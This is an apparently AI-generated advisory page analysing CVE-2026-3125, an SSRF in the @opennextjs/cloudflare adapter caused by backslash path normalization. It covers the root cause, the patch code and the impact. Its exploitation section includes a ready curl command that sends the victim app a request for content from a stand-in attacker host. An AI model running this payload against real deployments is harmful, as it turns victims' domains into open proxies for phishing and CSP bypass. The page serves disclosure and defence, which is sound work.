CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-3125

CVE-2026-3125: SSRF via Differential Path Normalization in @opennextjs/cloudflare

Alon Barad
Alon Barad
Software Engineer

Mar 5, 2026·5 min read·30 visits

Executive Summary (TL;DR)

Improper handling of backslash characters allows attackers to bypass Cloudflare Edge interception and access a development image proxy in the OpenNext Worker. This leads to SSRF, enabling arbitrary URL fetching and potential content serving from the victim's domain.

A high-severity Server-Side Request Forgery (SSRF) vulnerability exists in the @opennextjs/cloudflare adapter due to differential path normalization between Cloudflare's Edge infrastructure and the Worker runtime. Attackers can bypass edge security policies protecting the '/cdn-cgi/' namespace by using backslashes in the URL, triggering a development-only proxy handler in production environments.

Vulnerability Overview

The vulnerability affects @opennextjs/cloudflare, an adapter that enables Next.js applications to run on Cloudflare Workers. The issue centers on the handling of the reserved /cdn-cgi/ path namespace, which is typically intercepted by Cloudflare's Edge infrastructure for services like image resizing and security checks.

Due to a discrepancy in how path separators are interpreted, an attacker can construct a request using backslashes (e.g., /cdn-cgi\image/) that bypasses the Edge interception layer. The Edge treats the backslash as a literal character and does not match it against the reserved /cdn-cgi/ path rule. However, when the request reaches the JavaScript Worker runtime, standard URL normalization converts the backslash into a forward slash.

This normalization collision causes the Worker to route the request to a development-only image optimization handler. This handler, intended for local testing, blindly proxies requests to a user-supplied URL, resulting in Server-Side Request Forgery (SSRF).

Root Cause Analysis

The root cause is a classic Differential Path Normalization vulnerability, specifically involving the cdn-cgi endpoint. The architecture involves two distinct parsing layers with conflicting logic:

  1. Cloudflare Edge (The Gatekeeper): The Edge layer inspects incoming HTTP requests. Rules intended to protect or intercept /cdn-cgi/ paths use strict string matching that expects forward slashes (/). A path like /cdn-cgi\image does not match these rules and is allowed to pass through to the origin (the Worker).

  2. Worker Runtime (The Normalizer): Once the request is handed off to the OpenNext Worker, the runtime environment (compliant with WHATWG URL standards) normalizes the path. The backslash (\) is converted to a forward slash (/).

  3. Vulnerable Handler Logic: The OpenNext adapter contains a fallback handler for image optimization designed for development. It listens for requests matching /cdn-cgi/image/ and extracts the subsequent path segment as a target URL to fetch. Because the request was normalized after bypassing the Edge, this handler is triggered in production environments where it should not be accessible. The handler then executes an unvalidated fetch() to the attacker-controlled URL.

Code Analysis: Fix Verification

The remediation in version 1.17.1 introduces strict validation logic to replace the loose routing previously used. The fix involves two primary components: strict regex parsing and response content-type validation (magic byte checks).

1. Strict Path Parsing (Input Validation)

The patch replaces ad-hoc path splitting with a regular expression that explicitly defines the expected structure. It also rejects protocol-relative URLs (//) to prevent ambiguity.

// Patched logic in parseCdnCgiImageRequest
export function parseCdnCgiImageRequest(pathname: string) {
  // Strict regex enforces exact structure
  const match = pathname.match(/^\/cdn-cgi\/image\/(?<options>[^/]+)\/(?<url>.+)$/);
 
  if (!match || !match.groups) {
    return null;
  }
 
  const { options, url } = match.groups;
 
  // Security: Prevent protocol-relative URL usage which can bypass filters
  if (url.startsWith("//")) {
    return null;
  }
 
  return { options, url };
}

2. Response Validation (Output Sanitization)

To mitigate the impact of any potential bypass, the patch adds detectImageContentType. This function inspects the magic bytes (file signature) of the fetched content to ensure it is actually an image, preventing the proxy from serving HTML, scripts, or other malicious payloads.

// New validation ensuring only valid images are proxied
export function detectImageContentType(buffer: Uint8Array): ImageContentType | null {
  // JPEG magic bytes (FF D8)
  if (buffer[0] === 0xff && buffer[1] === 0xd8) return "image/jpeg";
  // PNG magic bytes (89 50)
  if (buffer[0] === 0x89 && buffer[1] === 0x50) return "image/png";
  // GIF magic bytes (47 49 46)
  if (buffer[0] === 0x47 && buffer[1] === 0x49 && buffer[2] === 0x46) return "image/gif";
  
  return null;
}

This "defense-in-depth" approach ensures that even if the route is accessed, the functionality is restricted to its intended use case (images) rather than arbitrary proxying.

Exploitation Methodology

Exploiting this vulnerability requires sending a raw HTTP request that preserves the backslash character. Standard browsers and some HTTP clients normalize paths before sending, so a tool like curl with the --path-as-is flag is required.

Attack Scenario:

  1. Target: A Next.js application using @opennextjs/cloudflare < 1.17.1.
  2. Payload: A request to /cdn-cgi\image/ followed by a dummy option string and the malicious target URL.
# --path-as-is prevents local client normalization
curl --path-as-is "https://victim-app.com/cdn-cgi\image/fit=cover/https://attacker-controlled.com/malicious-script.js"

Execution Flow:

  1. Cloudflare Edge: Receives /cdn-cgi\image/.... The rule for /cdn-cgi/ (forward slash) does not match. The request is forwarded to the Worker.
  2. Worker Runtime: Normalizes /cdn-cgi\image to /cdn-cgi/image.
  3. OpenNext Handler: Matches the normalized path. It extracts https://attacker-controlled.com/malicious-script.js.
  4. SSRF: The worker fetches the script from the attacker's server and returns it to the client.

This effectively turns the victim's domain into an open proxy serving attacker content, which can be used to bypass Content Security Policy (CSP) or conduct phishing attacks using a trusted domain.

Impact Assessment

The vulnerability carries a High severity rating (CVSS 7.7) due to the combination of SSRF and security control bypass.

Security Implications:

  • Security Control Bypass: The primary impact is the circumvention of Cloudflare Edge protections. Rules designed to block or manage /cdn-cgi/ traffic are rendered ineffective.
  • Open Proxy: Attackers can utilize the victim's application to fetch content from third-party sites. This obscures the attacker's origin IP and leverages the victim's domain reputation.
  • Internal Scanning: If the Worker environment has access to internal endpoints (rare for Edge Workers, but possible depending on bindings/VPC configuration), the SSRF could be used to probe internal services.
  • Cache Poisoning: Since the response is served by the Next.js application, there is a risk that the malicious content could be cached by downstream CDNs or browsers, persistently serving attacker content on the victim's domain.

Limitations: This vulnerability is specific to the @opennextjs/cloudflare adapter. It does not compromise the underlying Cloudflare infrastructure itself, but rather the specific application logic deployed on top of it.

Official Patches

OpenNextPull Request #1147: Fix CDN CGI image proxy vulnerability

Fix Analysis (1)

Technical Appendix

CVSS Score
7.7/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:H/SI:N/SA:N

Affected Systems

@opennextjs/cloudflare adapter for Next.jsNext.js applications deployed to Cloudflare Workers using OpenNext

Affected Versions Detail

Product
Affected Versions
Fixed Version
@opennextjs/cloudflare
OpenNext
< 1.17.11.17.1
AttributeDetail
CWE IDCWE-918 (SSRF)
CVSS v4.07.7 (High)
Attack VectorNetwork
Attack ComplexityLow
ImpactSecurity Bypass & Proxying
Exploit StatusProof-of-Concept Available

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1588.002Obtain Capabilities: Tool
Resource Development
CWE-918
Server-Side Request Forgery (SSRF)

The software does not correctly resolve a URL or path reference, allowing an attacker to access unauthorized resources.

Known Exploits & Detection

GitHub AdvisoryAdvisory containing PoC via curl

Vulnerability Timeline

Fix committed to repository
2026-02-24
Version 1.17.1 released to NPM
2026-02-24
CVE-2026-3125 and GHSA advisory published
2026-03-04

References & Sources

  • [1]NVD - CVE-2026-3125
  • [2]GHSA-rvpw-p7vw-wj3m Advisory

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 15 hours ago•GHSA-XF4V-W5X5-PV79
5.1

GHSA-XF4V-W5X5-PV79: CSV Formula Injection in Spree Customer Export

A CSV Formula Injection vulnerability (CWE-1236) exists in the Spree headless eCommerce platform within the customer export functionality. An unauthenticated attacker can register a customer profile containing malicious formula sequences in fields like the first name or last name. When an administrator exports the customer data to a CSV file and opens it in a spreadsheet application, the spreadsheet engine can interpret and execute these formulas, potentially leading to remote command execution on the administrator's workstation or out-of-band data exfiltration.

Alon Barad
Alon Barad
4 views•6 min read
•about 15 hours ago•CVE-2026-47694
5.4

CVE-2026-47694: Stored Cross-Site Scripting in WWBN AVideo Category Descriptions

A Stored Cross-Site Scripting (XSS) vulnerability exists in WWBN AVideo versions up to and including 29.0. Unsanitized category descriptions are stored in the database and subsequently rendered as raw HTML in the Gallery view plugin, allowing low-privileged authenticated users to execute arbitrary JavaScript in the browsers of visiting users.

Alon Barad
Alon Barad
6 views•7 min read
•about 16 hours ago•GHSA-JPVJ-WPMJ-H7RV
9.6

GHSA-JPVJ-WPMJ-H7RV: Supply Chain Compromise and Malicious Code Injection in @cap-js/openapi

A critical supply chain compromise was identified in the Node.js package @cap-js/openapi at version 1.4.1. An attacker gained unauthorized publishing access to the npm registry and distributed a backdoored release that harvests sensitive developer credentials, environment variables, and SSH keys. The malicious code then exfiltrates the collected data to external actor-controlled servers.

Amit Schendel
Amit Schendel
12 views•5 min read
•about 16 hours ago•CVE-2026-47696
7.1

CVE-2026-47696: Authenticated Wallet Credit Bypass in WWBN AVideo AuthorizeNet Plugin

An authenticated wallet credit bypass vulnerability exists in WWBN AVideo version 29.0 and earlier. The AuthorizeNet plugin includes an unfinished mockup endpoint, processPayment.json.php, which lacks actual transaction verification and hardcodes success. This allows any authenticated user to credit their wallet with arbitrary balances without making any payments.

Amit Schendel
Amit Schendel
4 views•5 min read
•about 17 hours ago•GHSA-8WHC-2WMV-WW35
8.8

GHSA-8whc-2wmv-ww35: Unauthenticated Stored DOM-based Cross-Site Scripting in WWBN AVideo YPTSocket Plugin

An unauthenticated stored DOM-based Cross-Site Scripting (DOM XSS) vulnerability in the YPTSocket plugin of WWBN AVideo (formerly YouPHPTube) allows remote attackers to execute arbitrary JavaScript within the session context of administrative users. Unsanitized metadata parameters supplied during the WebSocket handshake are persisted in an SQLite database and broadcast to connected users. The frontend application processes these parameters through an unsafe jQuery append sink, leading to silent, high-impact administrative context compromise.

Amit Schendel
Amit Schendel
6 views•7 min read
•about 17 hours ago•CVE-2026-47676
5.3

CVE-2026-47676: Inconsistent Path Parsing and Slicing in Hono Framework Sub-Application Mounting

A path parsing and normalization inconsistency vulnerability exists in the Hono web framework prior to version 4.12.21. When hosting sub-applications via the app.mount() routing interface, Hono calculates the routing path prefix length on a percent-decoded representation of the URI but executes the path-slicing offset on the raw, percent-encoded string. This discrepancy results in malformed request paths being dispatched to mounted sub-applications, potentially leading to route bypasses, route confusion, and application-level Denial of Service.

Alon Barad
Alon Barad
4 views•6 min read